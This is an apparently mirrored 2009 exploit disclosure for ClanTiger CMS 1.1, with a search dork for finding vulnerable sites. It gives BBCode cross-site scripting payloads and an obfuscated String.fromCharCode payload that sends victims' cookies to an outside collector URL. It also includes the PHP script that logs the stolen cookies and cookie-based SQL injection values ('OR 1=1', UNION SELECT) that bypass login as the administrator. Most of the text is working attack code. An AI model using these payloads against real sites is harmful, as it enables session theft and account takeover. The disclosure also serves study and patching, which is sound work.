Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21689
HistoryApr 18, 2009 - 12:00 a.m.

CLAN TIGER CMS--MULTIPLE COOKIES HANDLING VULNERABILITIES-->

2009-04-1800:00:00
vulners.com
39

CLAN TIGER CMS MULTIPLE COOKIES HANDLING VULNERABILITIES

CMS INFORMATION:

–>WEB: http://www.clantiger.com
–>DOWNLOAD: http://www.clantiger.com/download-clan-cms
–>DEMO: http://www.demo.clantiger.com/
–>CATEGORY: CMS / Portals
–>DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming
clans…

CMS VULNERABILITY:

–>TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default)
–>DORK: "Powered by ClanTiger"
–>CATEGORY: BYPASS-BBCODE/COOKIES STEALING && COOKIE AUTH BYPASS/SQL INJECTION
–>AFFECT VERSION: 1.1 (maybe <= ?)
–>Discovered Bug date: 2009-04-11
–>Reported Bug date: 2009-04-11
–>Fixed bug date: Not fixed
–>Info patch (???): Not fixed
–>Author: YEnH4ckEr
–>mail: y3nh4ck3r[at]gmail[dot]com
–>WEB/BLOG: N/A
–>COMMENT: A mi novia Marijose…hermano,cuсada, padres (y amigos xD) por su apoyo.

//////////////////////////////////

COOKIES STEALING (BYPASS BBCODE)

//////////////////////////////////

(BBCode again…)


BUG ZONES:

#BBCode is bypassed by differents methods and XSS is posible.

#We find BBCode on these links:

http://[HOST]/[PATH]/index.php?module=news&action=view&id=2
http://[HOST]/[PATH]/index.php?module=mycontrolpanel&action=signature
http://[HOST]/[PATH]/index.php?module=news&action=view&id=2
http://[HOST]/[PATH]/index.php?module=forum
http://[HOST]/[PATH]/index.php?module=mymessages


PROOF OF CONCEPT (SEARCHING XSS):

BOTH (FIREFOX AND IE):

[url][img]http://www.google.es onmouseover=alert(1) [/img][/url]
[email][img][email protected] onmouseover=alert(1) [/img][/email]
[email][url]http://www.prueba.es onmouseover=alert(1) [/url][/email]
[url][email][email protected] onmouseover=alert(1) [/email][/url]

ONLY IE:

[img][url]http://al.com onmouseover=alert(1) [/url][/img]
[img][email][email protected] onmouseover=alert(1) [/email][/img]

Combinations of tags:

[email][url]http://owned.com onmouseover=alert(1) [/url][/mail]

Generate:

<a href="mailto:<a href="http://owned.com onmouseover=alert(1) " target="_blank">http://owned.com onmouseover=alert(1)
</a>"><a href="http://owned.com onmouseover=alert(1) " target="_blank">http://owned.com onmouseover=alert(1) </a></a>


COOKIES EXPLOIT (BBCODE):

Link –> http://www.myphpcookiestealing.es/capturethecookies.php?ck=

[url][img]http://www.victim.es
onmouseover=document.location=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,109,121,112,104,112,99,111,111,107,105,101,115,116,101,97,108,105,110,103,46,101,115,47,99,97,112,116,117,114,101,116,104,101,99,111,111,107,105,101,115,46,112,104,112,63,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,61)+document.cookie
[/img][/url]


COOKIES STEALER (PHP SCRIPT):

<?php
$ck=$_GET["ck"]; //Capture the cookies
$manejador=fopen("exploited.txt",'a'); //Open cookies saved file
fwrite($manejador, "Cookie:\r\n".htmlentities($ck)."\r\n–EOF–\r\n"); //Save the values
fclose($manejador); //Close file
echo "<script>location.href='http://[HOST]/[PATH]/index.php?module';</script>"; //Redirect…we don't want to alert xDD
?>

///////////////////////////////////

[COOKIE]AUTH BYPASS(SQL INJECTION)

///////////////////////////////////


CONDITIONS:

**(sometimes) DB_PREFIX="" (Default)

    maybe: db, db_clan, ...

**gpc_magic_quotes=off


BUG FILE:

Path –> [HOME_PATH]/functions/class.accesscontrol.php

It contents:

    function checkLogin&#40;&#41;
    {
            if&#40;$_COOKIE[&#39;CCC_UID&#39;] &amp;&amp; $_COOKIE[&#39;CCC_CODE&#39;]&#41;
            {
                    $uid = $_COOKIE[&#39;CCC_UID&#39;];
                    $logincode = $_COOKIE[&#39;CCC_CODE&#39;];
                    
                    $query = &quot;SELECT * FROM &quot; . DB_PREFIX . &quot;members WHERE md5&#40;id&#41;=&#39;$uid&#39; and logincode=&#39;$logincode&#39;&quot;;
                    $results = $this-&gt;db-&gt;getrow&#40;$query&#41;;

                    if&#40;$results[&#39;username&#39;]&#41;
                    {
                            
                            ....
                    }       

                    
            } 
    }

PROOF OF CONCEPT (SQL INJECTION):

Add cookies:

CCC_UID=BLABLABLA //it is not use
CCC_CODE=BLABLA' [SQL]


EXAMPLE:

Add cookies: (only need gpc_magic_quotes=off)

CCC_UID=pepe //it is not use
CCC_CODE=lala' OR 1=1 /* //admin

Other example: (DB_PREFIX="" and gpc_magic_quotes=off)

CCC_UID=pepe //it is not use
CCC_CODE=lala' UNION ALL SELECT * FROM members WHERE id='1 //select first user= admin? to be other (id=2,3,4…)


GREETZ TO: Str0ke, JosS and all spanish Hack3Rs community!